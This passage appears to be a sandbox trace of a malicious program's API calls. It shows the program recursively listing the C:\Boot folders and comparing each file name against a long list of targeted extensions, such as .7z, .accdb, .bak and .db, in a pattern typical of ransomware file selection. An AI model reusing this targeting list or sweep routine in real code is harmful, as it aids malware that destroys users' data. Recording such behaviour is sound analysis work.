(in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0088.154] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.154] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.154] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260490 [0088.155] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.155] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0088.155] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0088.155] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4263e68 [0088.156] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0088.157] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0088.157] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0088.157] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4263e68 | out: hHeap=0x440000) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0088.157] FindClose (in: hFindFile=0x4260490 | out: hFindFile=0x4260490) returned 1 [0088.157] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0088.158] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.158] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260490 [0088.158] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.158] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.159] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.159] FindClose (in: hFindFile=0x4260490 | out: hFindFile=0x4260490) returned 1 [0088.159] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.159] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0088.159] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.159] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0088.160] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.160] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.160] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.160] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.160] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0088.160] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.160] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0088.161] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.161] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0088.161] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.161] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.161] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.161] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0088.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.161] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0088.161] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.162] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0088.162] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.162] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.319] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0088.319] lstrlenW (lpString=".1cd") returned 4 [0088.319] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.319] lstrlenW (lpString=".3ds") returned 4 [0088.319] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0088.320] lstrlenW (lpString=".3fr") returned 4 [0088.320] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0088.320] lstrlenW (lpString=".3g2") returned 4 [0088.320] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0088.320] lstrlenW (lpString=".3gp") returned 4 [0088.320] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0088.320] lstrlenW (lpString=".7z") returned 3 [0088.320] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.320] lstrlenW (lpString=".accda") returned 6 [0088.320] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0088.320] lstrlenW (lpString=".accdb") returned 6 [0088.320] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0088.320] lstrlenW (lpString=".accdc") returned 6 [0088.320] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0088.320] lstrlenW (lpString=".accde") returned 6 [0088.320] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0088.320] lstrlenW (lpString=".accdt") returned 6 [0088.320] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0088.320] lstrlenW (lpString=".accdw") returned 6 [0088.320] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0088.320] lstrlenW (lpString=".adb") returned 4 [0088.320] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0088.320] lstrlenW (lpString=".adp") returned 4 [0088.320] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0088.320] lstrlenW (lpString=".ai") returned 3 [0088.320] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0088.321] lstrlenW (lpString=".ai3") returned 4 [0088.321] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".ai4") returned 4 [0088.321] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".ai5") returned 4 [0088.321] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".ai6") returned 4 [0088.321] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".ai7") returned 4 [0088.321] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".ai8") returned 4 [0088.321] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".anim") returned 5 [0088.321] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0088.321] lstrlenW (lpString=".arw") returned 4 [0088.321] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".as") returned 3 [0088.321] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0088.321] lstrlenW (lpString=".asa") returned 4 [0088.321] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".asc") returned 4 [0088.321] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0088.321] lstrlenW (lpString=".ascx") returned 5 [0088.321] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0088.321] lstrlenW (lpString=".asm") returned 4 [0088.321] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".asmx") returned 5 [0088.322] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0088.322] lstrlenW (lpString=".asp") returned 4 [0088.322] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".aspx") returned 5 [0088.322] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0088.322] lstrlenW (lpString=".asr") returned 4 [0088.322] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".asx") returned 4 [0088.322] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".avi") returned 4 [0088.322] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".avs") returned 4 [0088.322] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".backup") returned 7 [0088.322] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0088.322] lstrlenW (lpString=".bak") returned 4 [0088.322] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".bay") returned 4 [0088.322] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".bd") returned 3 [0088.322] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0088.322] lstrlenW (lpString=".bin") returned 4 [0088.322] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".bmp") returned 4 [0088.322] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0088.322] lstrlenW (lpString=".bz2") returned 4 [0088.323] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".c") returned 2 [0088.323] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0088.323] lstrlenW (lpString=".cdr") returned 4 [0088.323] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".cer") returned 4 [0088.323] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".cf") returned 3 [0088.323] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0088.323] lstrlenW (lpString=".cfc") returned 4 [0088.323] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".cfm") returned 4 [0088.323] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".cfml") returned 5 [0088.323] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0088.323] lstrlenW (lpString=".cfu") returned 4 [0088.323] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".chm") returned 4 [0088.323] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".cin") returned 4 [0088.323] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".class") returned 6 [0088.323] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0088.323] lstrlenW (lpString=".clx") returned 4 [0088.323] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0088.323] lstrlenW (lpString=".config") returned 7 [0088.324] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0088.324] lstrlenW (lpString=".cpp") returned 4 [0088.324] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".cr2") returned 4 [0088.324] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".crt") returned 4 [0088.324] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".crw") returned 4 [0088.324] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".cs") returned 3 [0088.324] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0088.324] lstrlenW (lpString=".css") returned 4 [0088.324] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".csv") returned 4 [0088.324] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".cub") returned 4 [0088.324] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".dae") returned 4 [0088.324] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".dat") returned 4 [0088.324] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".db") returned 3 [0088.324] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0088.324] lstrlenW (lpString=".dbf") returned 4 [0088.324] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.324] lstrlenW (lpString=".dbx") returned 4 